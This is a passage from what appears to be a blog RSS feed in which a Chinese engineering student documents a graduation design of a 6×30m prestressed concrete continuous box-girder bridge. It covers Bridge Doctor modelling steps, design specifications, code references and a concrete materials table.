<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">不计挂车和行人荷载，横向分布系数取之前算到的最大值，依据规范计算冲击系数。</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">输入钢筋估算信息</span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870474_48474a47.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">至此建模基本完成，按<span style="font-family:'Times New Roman';">Shift+F8</span><span style="font-family:宋体;">检验输入是否有错：</span></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870474_7747fb5c.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">一切正常的话就可以通过<span style="font-family:'Times New Roman';">Ctrl+F8</span><span style="font-family:宋体;">执行计算</span></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870474_684410fb.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">计算完成之后就可以输出结果了（在桥梁博士输出的结果中可以通过按<span style="font-family:'Times New Roman';">F10</span><span style="font-family:宋体;">、</span><span style="font-family:'Times New Roman';">F11</span><span style="font-family:宋体;">控制一些标记数据是否显示以免输出的图太混乱）</span></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870474_349509dd.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">最后在用桥梁博士的图形编辑器输出简化模型备用</span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870475_57728266.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870580_916332d3.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Prestressed-concrete-box-beam-bridge-1">6×30m预应力混凝土先简支后连续箱梁桥(1)</a></p></div>]]></description>
	<pubDate>Wed, 23 Mar 2011 08:56:40 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Prestressed-concrete-box-beam-bridge-2</guid>

</item>
<item>
	<title>6×30m预应力混凝土先简支后连续箱梁桥(1)</title>
	<link>http://www.holmesian.org/Prestressed-concrete-box-beam-bridge-1</link>
	<description><![CDATA[<p>&nbsp;由于我自己选的毕业设计题目被Kill掉了，所以现在的题目是6×30m预应力混凝土先简支后连续箱梁桥，虽然已经开始做了一段时间但是感觉进度还是偏慢的，现在把一些大概的步骤记录下，由于最终的结果全部都只能交手写稿，所以将所有内容全部都做成电子版的没有太大意义，这里放的就当作是为中期检查和答辩做准备吧。</p>
<p>&nbsp;</p>
<p></p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';">技术指标</span><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">设计荷载：公路</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">II</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">级。</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">桥面宽度：0.5＋</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">12</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">+0.5=</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">13</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">米，单幅桥。</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">标准桥面横坡：</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">不设纵坡；车行道设置</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">1.5</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">%</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">双向横坡。</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">跨径：　　3</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">0</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">米</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">。</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">主梁片数：4片梁。</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">预制梁长：</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">29.58</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">米</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">（自己计算得）。</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">桥面铺装：</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">上层为</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">3cm改性沥青</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">混凝土</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">防滑层</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">(22kN/m3)</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">，中层为</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">5cm中粒式改性沥青混凝土(23kN/m3)，下层为10cm&nbsp;C40碎石混凝土(24kN/m3)</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">。</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">桥轴平面线形：直线。</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">温度影响：年平均温度变化</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">16度。</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">施工方法：先简支后连续。先预制箱梁，待主梁架设完毕后，连续钢束纵向由边跨向中间合拢，横向由两边向中间合拢。</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">制作强迫位移：2、4号支座可能下沉3mm。</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;text-align:left;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">主要规范有：</span><span style="mso-spacerun:'yes';font-weight:bold;font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;text-align:left;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">1</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">．《公路桥涵设计通用规范》</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">&nbsp;&nbsp;（</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">JT</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">GD60</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">-</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">2004）</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;text-align:left;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">2</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">．《公路钢筋混凝土及预应力混凝土桥涵设计规范》</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">&nbsp;</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">（</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">JT</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">GD62</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">-</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">2004）</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;text-align:left;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">3.《公路工程技术标准》</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">&nbsp;&nbsp;（</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">JT</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">GB01</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">-</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">2003）</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;text-align:left;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">上部箱梁构造为</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">6</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">×</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">30m</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">连续小箱梁</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">，桥宽</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">13</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">米，</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'Times New Roman';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';">混凝土材料</span><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">预制箱梁、横隔板&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;50号混凝土</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">现浇连续段、封锚端、湿接缝&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;50号混凝土</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">现浇桥面层&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">50号混凝土</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p17" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">混凝土力学性能表</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<table align="center" style="border-collapse:collapse;&nbsp;&nbsp;&nbsp;&nbsp;margin-left:2.7500pt;mso-table-layout-alt:fixed;&nbsp;&nbsp;&nbsp;&nbsp;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;" class="ke-zeroborder"><tbody><tr style="height:21.1500pt;"><td width="238" valign="center" style="width:179.2000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:3.0000pt double #000000;mso-border-left-alt:3.0000pt thin-thick-large-gap #000000;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:3.0000pt double #000000;mso-border-top-alt:3.0000pt thin-thick-large-gap #000000;border-bottom:3.0000pt double #000000;mso-border-bottom-alt:3.0000pt thin-thick-large-gap #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="font-size:12.0000pt;font-family:'黑体';"><span style="position:absolute;z-index:1;left:0px;margin-left:4.3333px;margin-top:2.7333px;width:1.0000px;height:1.0000px;"><img width="1" height="1" src="file:///E:\Users\ADMINI~2\AppData\Local\Temp\ksohtml\wps_clip_image-10793.png" alt="" /></span></span><span style="font-size:12.0000pt;font-family:'黑体';"><span style="position:absolute;z-index:1;left:0px;margin-left:4.3333px;margin-top:2.7333px;width:1.0000px;height:1.0000px;"><img width="1" height="1" src="file:///E:\Users\ADMINI~2\AppData\Local\Temp\ksohtml\wps_clip_image-14653.png" alt="" /></span></span><span style="font-size:12.0000pt;font-family:'黑体';"><span style="position:absolute;z-index:1;left:0px;margin-left:4.3333px;margin-top:2.7333px;width:1.0000px;height:1.0000px;"><img width="1" height="1" src="file:///E:\Users\ADMINI~2\AppData\Local\Temp\ksohtml\wps_clip_image-17240.png" alt="" /></span></span><span style="font-size:12.0000pt;font-family:'黑体';"><span style="position:absolute;z-index:1;left:0px;margin-left:4.3333px;margin-top:2.7333px;width:1.0000px;height:1.0000px;"><img width="1" height="1" src="file:///E:\Users\ADMINI~2\AppData\Local\Temp\ksohtml\wps_clip_image-19577.png" alt="" /></span></span><span style="font-size:12.0000pt;font-family:'黑体';"><span style="position:absolute;z-index:1;left:0px;margin-left:4.3333px;margin-top:2.7333px;width:1.0000px;height:1.0000px;"><img width="1" height="1" src="file:///E:\Users\ADMINI~2\AppData\Local\Temp\ksohtml\wps_clip_image-4719.png" alt="" /></span></span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'黑体';">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;材料</span><span style="font-size:12.0000pt;font-family:'黑体';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="text-indent:48.0000pt;margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'黑体';">项目</span><span style="font-size:12.0000pt;font-family:'黑体';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="217" valign="center" style="width:162.8000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:none;;mso-border-left-alt:none;;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:3.0000pt double #000000;mso-border-top-alt:3.0000pt thin-thick-large-gap #000000;border-bottom:3.0000pt double #000000;mso-border-bottom-alt:3.0000pt thin-thick-large-gap #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'黑体';">50</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'黑体';">号混凝土</span><span style="letter-spacing:0.4000pt;font-size:12.0000pt;font-family:'黑体';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
</tr>
